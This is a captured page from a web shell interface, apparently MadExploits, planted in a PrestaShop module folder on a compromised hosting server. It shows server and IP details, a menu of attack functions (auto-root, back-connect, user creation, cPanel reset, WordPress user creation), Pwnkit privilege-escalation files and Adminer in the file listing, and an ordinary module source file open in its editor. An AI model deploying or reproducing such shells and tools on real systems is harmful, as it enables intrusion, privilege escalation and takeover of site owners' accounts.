Linux webm004.cluster106.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Apache
: 10.106.20.4 | : 216.73.216.104
Cant Read [ /etc/named.conf ]
7.4.33
alinaousgg
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
alinaousgg /
garmin /
modules /
spelements /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
Cache
[ DIR ]
drwx---r-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
Install
[ DIR ]
drwx---r-x
.mad-root
0
B
-rw-r--r--
WidgetCache.php
446
B
-rw----r--
WidgetCategoryBase.php
2.39
KB
-rw----r--
WidgetHelper.php
3.94
KB
-rw----r--
WidgetProductBase.php
14.85
KB
-rw----r--
WidgetTemplate.php
1.76
KB
-rw----r--
WidgetViewBase.php
32.68
KB
-rw----r--
adminer.php
465.43
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : WidgetCategoryBase.php
<?php /** * Magentech Widgets * * @package Magentech * @version 1.0.0 * @author Magentech.Com * @copyright Copyright Ⓒ Since 2011 magentech.Com <@email:support@magentech.Com> * @license You only can use the module, nothing more! */ namespace Magentech\Module\Spelements; use Hook; use Tools; use Module; use Context; use Configuration; use Magentech\Module\Spelements\WidgetProductBase; use PrestaShop\PrestaShop\Adapter\Image\ImageRetriever; use PrestaShop\PrestaShop\Adapter\Presenter\Object\ObjectPresenter; class WidgetCategoryBase extends Module { public $category; public function __construct() { $category_id = Tools::getValue('id_category') ? Tools::getValue('id_category') : Configuration::get('PS_HOME_CATEGORY'); $this->category = new \Category($category_id, Context::getContext()->language->id); } public function getCategory() { $categoryVar = $this->getTemplateVarCategory(); $filteredCategory = Hook::exec( 'filterCategoryContent', ['object' => $categoryVar], $id_module = null, $array_return = false, $check_exceptions = true, $use_push = false, $id_shop = null, $chain = true ); if (!empty($filteredCategory['object'])) { $categoryVar = $filteredCategory['object']; } return $categoryVar; } public function getProducts() { $productBase = new WidgetProductBase; return $productBase->getProducts('category', 12); } protected function getTemplateVarCategory() { $objectPresenter = new ObjectPresenter(); $category = $objectPresenter->present($this->category); $category['image'] = $this->getImage( $this->category, $this->category->id_image ); return $category; } public function getCategoryImage() { $this->category->image = $this->getImage($this->category, $this->category->id_image); return $this->category; } public function getSubCategories() { return $this->category->getSubCategories(Context::getContext()->language->id); } protected function getImage($object, $id_image) { $retriever = new ImageRetriever( Context::getContext()->link ); return $retriever->getImage($object, $id_image); } }
Close